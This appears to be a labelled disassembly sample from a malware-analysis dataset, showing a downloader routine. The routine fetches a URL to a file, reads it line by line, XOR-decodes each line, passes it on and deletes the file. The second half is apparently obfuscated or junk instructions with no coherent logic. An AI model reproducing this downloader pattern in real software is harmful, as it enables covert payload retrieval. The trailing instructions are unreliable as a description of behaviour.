Function at 0x10239346
Capabilities:
Delete file
Download url
Receive data

Disassembly:
ror edx, 3
inc ecx
shl ecx, 0x17
movzx eax, cl
not edx
neg cl
call fcn.10250228
lea ecx, [ebp - 0x54]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea edx, [ebp - 0x1e4]
push edx
lea eax, [ebp - 0x54]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov ebx, dword [sym.imp.MSVCR100.dll_fgets]
test eax, eax
jne 0x10034e31
mov ecx, 0x101a2060
call section..text
lea ecx, [ebp - 0x1e4]
push 0x100946b8
push ecx
call dword [sym.imp.MSVCR100.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x10034e31
push edi
lea edx, [ebp - 0x11c]
push 0xc8
push edx
call ebx
add esp, 0xc
test eax, eax
je 0x10034e1a
lea esp, [esp]
call dword [sym.imp.MSVCR100.dll___iob_func]
add eax, 0x20
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.MSVCR100.dll_fputs]
lea eax, [ebp - 0x11c]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10034d93
sub eax, edx
dec eax
push eax
lea ecx, [ebp - 0x11c]
push ecx
mov edx, ecx
push edx
call fcn.10006d60
lea eax, [ebp - 0x11c]
add esp, 0xc
xor ecx, ecx
lea esi, [eax + 1]
jmp 0x10034dc0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10034dc0
sub eax, esi
je 0x10034def
jmp 0x10034dd0
xor byte [ebp + ecx - 0x11c], 1
lea eax, [ebp - 0x11c]
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10034de2
sub eax, esi
cmp ecx, eax
jb 0x10034dd0
lea eax, [ebp - 0x11c]
push eax
mov ecx, 0x101a2060
call fcn.10001110
push edi
lea ecx, [ebp - 0x11c]
push 0xc8
push ecx
call ebx
add esp, 0xc
test eax, eax
jne 0x10034d70
push edi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea edx, [ebp - 0x1e4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 8
mov esi, str.ivwt_._gkro__52ccab_offno_buzw
lea edi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push 0x1009e090
movsw word es:[edi], word [esi]
call fcn.10260021
bswap edx
jns 0x10034ce5
movzx ecx, al
ror edx, 3
xor edx, 0x66a287b9
or dword [esp + ecx - 0xf7], 0x778b5d92
mov dword [esp + ecx*2 - 0x1f6], ecx
xor ebx, edx
add dword [esp + eax - 0x413f7df7], ecx
adc esi, edx
mov dx, word [ebp + ecx*8 - 0x7d8]
call fcn.10227df4
mov edx, 0x2f337a88
or dl, dh
lea ebp, [ebp + edx - 0x2f337afe]
neg dx
movsx ecx, dl
mov edx, dword [ebp + edx - 0x2f338506]
xor edx, ebx
or cx, cx
jae 0x10221098
mov ecx, dword [ebp]
mov edx, 0x9612d4b4
lea eax, [edx - 0x4dde89e0]
sal ax, 0x2c
mov edx, dword [ecx + eax - 0x48344000]
movzx ecx, al
xchg ecx, eax
mov dword [eax + ebp], edx
add eax, dword [esi + eax*2]
sal cl, 4
sal cx, 0x47
lea ecx, [ecx + ecx*2 + 0x66394937]
lea esi, [esi + ecx*2 - 0x7daa926a]
xor eax, ebx
rol eax, 2
dec ecx
movzx edx, cx
lea eax, [eax + edx*2 - 0x648e7af5]
setnp dl
xchg edx, ecx
rol eax, 1
ror ecx, 0x73
xor eax, 0x24a52b02
ror edx, 0xc2
rol eax, 1
and ecx, 0xa83b9cb6
add edx, 0x46a2e52c
inc ecx
xor ebx, eax
ror ecx, cl
sbb dx, 0xc092
jbe 0x102752d9
mov edx, dword [esi]
mov eax, 0x479f25ad
call fcn.101f61c0
mov edx, 0x3225dfaf
mov eax, 0xf000b3a1
mov edx, dword [ebp + edx*2 - 0x644bbf5e]
add ax, 0x9315
mov ecx, eax
ror cx, 0xe8
add ebp, 4
shr ecx, cl
sub eax, ecx
xor edx, ebx
jmp 0x1020b2d7
add edi, eax
jmp edi